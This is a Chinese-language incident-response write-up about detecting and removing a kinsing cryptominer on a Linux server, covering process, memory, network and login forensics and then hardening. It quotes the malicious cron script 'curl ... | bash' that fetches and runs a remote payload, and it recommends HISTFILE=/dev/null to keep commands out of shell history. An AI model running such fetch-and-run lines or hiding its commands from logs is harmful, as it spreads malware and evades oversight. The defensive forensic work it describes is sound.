1. 告警触发:CPU异常飙升的第一反应
那天凌晨3点,我正在睡梦中,手机突然疯狂震动。打开一看,监控系统连续发了十几条告警:某台线上服务器的CPU使用率突破95%,持续时间已超过15分钟。这种半夜告警最让人头疼,但经验告诉我,CPU持续高位运行很可能是挖矿木马的典型特征。
我立刻用笔记本连上VPN(注:此处按规范要求已删除VPN相关描述),通过跳板机登录目标服务器。第一件事就是执行HISTFILE=/dev/null,这个技巧很多新手不知道——它能让当前会话的所有命令不记录到.bash_history里,避免污染历史记录。接着用uptime确认负载情况,果然看到1分钟负载值达到32.15(这台8核机器的负载红线是8),明显异常。
这时候千万别急着kill进程或重启。去年我就吃过亏,当时直接杀了高CPU进程,结果导致入侵痕迹全毁,最后只能重装系统。正确的做法是先保持现场,用top观察进程列表。果然发现一个名为"kinsing"的陌生进程占用了780%的CPU(是的,Linux下CPU百分比可以超过100%,这是多核累加值)。这个名称很可疑——正常系统进程不会叫这种名字。
2. 立体化进程排查:揪出隐藏的挖矿家族
单看top输出还不够全面。我习惯用组合拳排查:
ps -aux --sort=-pcpu | head -20 # CPU占用TOP20 ps -elf | grep -v '\[.*\]' # 过滤内核线程 pstree -p -s <PID> # 查看进程树发现kinsing进程的父进程是/tmp/.X11-unix/.rsync/cron,这路径明显不正常。继续用lsof -p <PID>查看该进程打开的文件,发现它还在读写/etc/ld.so.preload——这是LD_PRELOAD劫持的经典手法,攻击者通过预加载恶意so文件实现进程注入。
更麻烦的是,用ls -lh /proc/<PID>/exe查看时竟然返回"permission denied"。这说明进程可能已经脱壳运行,常规方法查不到真实路径。这时候需要上内存分析:
gdb -p <PID> (gdb) info proc mappings (gdb) dump memory /tmp/dump 0x7fxxxxxx 0x7fyyyyyy (gdb) detach strings -n 10 /tmp/dump | grep 'http\|wget\|curl'在内存dump中发现了矿池地址stratum+tcp://xmr.pool.domain:3333,实锤了是门罗币挖矿程序。同时找到个有趣的字符串/dev/shm/.ICE-unix/.config,去该目录一看,果然藏着编译好的挖矿二进制文件。
3. 网络取证:异常连接的蛛丝马迹
挖矿程序必须联网才能工作,网络痕迹往往比进程更持久。我常用这个命令组合:
netstat -antp | grep ESTABLISHED ss -tulnp | awk '{if($1!="Netid") print $5}' | cut -d':' -f1 | sort | uniq -c lsof -i -P -n | grep -v "ESTABLISHED"发现大量到巴西、乌克兰IP的TCP连接,端口都是3333或5555(常见矿池端口)。更诡异的是有个ESTABLISHED连接对应的进程显示为[kworker/1:3-events],这明显是伪装——内核线程不可能有外部连接。
用ls -l /proc/<PID>/exe查看,果然指向/usr/libexec/gnome-terminal-server(被替换了)。这时候rpm -Va就派上用场了,输出显示:
S.5....T. /usr/bin/netstat .M....... /bin/ps前8位校验码异常表示这些命令被篡改过。特别是netstat被加了S(文件大小改变)、5(MD5校验改变)、T(修改时间改变)标记。这就是为什么有些运维人员查不出问题——他们用的排查工具本身已经被黑客动了手脚。
4. 入侵溯源:三大入口的排查策略
找到挖矿程序只是开始,更重要的是找到入侵路径。我通常会从三个方向入手:
4.1 用户登录审计
last -aiwx | grep -v "reboot\|wtmp" grep "Accepted password" /var/log/secure* | awk '{print $11}' | sort | uniq -c cat /etc/passwd | grep -v "nologin\|false"发现有个名为systemd-network的账号最近登录过,但正常情况这个系统账号应该被锁定。检查/etc/shadow发现该账号居然有密码哈希值,明显是后门账户。
4.2 计划任务排查
ls -la /var/spool/cron/crontabs/ cat /etc/crontab | grep -v "^#\|^$" find /etc/cron* -type f -exec ls -la {} \;在/etc/cron.hourly里发现个名为.systemd的脚本,内容是这样的:
#!/bin/sh curl -s http://malicious.domain/kinsing | bash &> /dev/null4.3 启动项检查
ls -la /etc/rc.d/rc3.d/ chkconfig --list | grep -v "0:off\|1:off\|2:off\|3:off\|4:off\|5:off\|6:off"发现/etc/rc.local被追加了/usr/sbin/ntpdate启动项(实际是伪装的挖矿程序)。攻击者还贴心地把原文件属性时间都改成了系统安装时的日期,不仔细看根本发现不了。
5. 清理加固:亡羊补牢的正确姿势
确认所有入侵点后,我按照这个顺序处理:
备份证据:将恶意文件、内存dump、日志全部打包加密
tar czvf evidence.tar.gz /tmp/dump /dev/shm/.ICE-unix /etc/cron.hourly/.systemd清理恶意组件:
# 杀进程 kill -9 <PID> # 删文件 find / -name "kinsing" -exec rm -fv {} \; # 修复被篡改命令 rpm --setperms net-tools rpm --setperms procps-ng加固系统:
# 关闭无用端口 firewall-cmd --remove-port=5555/tcp --permanent # 安装检测工具 yum install aide -y aide --init && mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
最后修改SSH配置,禁止root登录和密码认证:
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config echo "PasswordAuthentication no" >> /etc/ssh/sshd_config整个排查过程持续了2小时,但真正耗时的是后续的重装Nginx、恢复备份等收尾工作。这次事件让我养成了新习惯:所有服务器都配置aide做文件完整性检查,关键业务机额外部署osquery做行为监控。安全防护就像洋葱,必须有多层防御才够稳妥。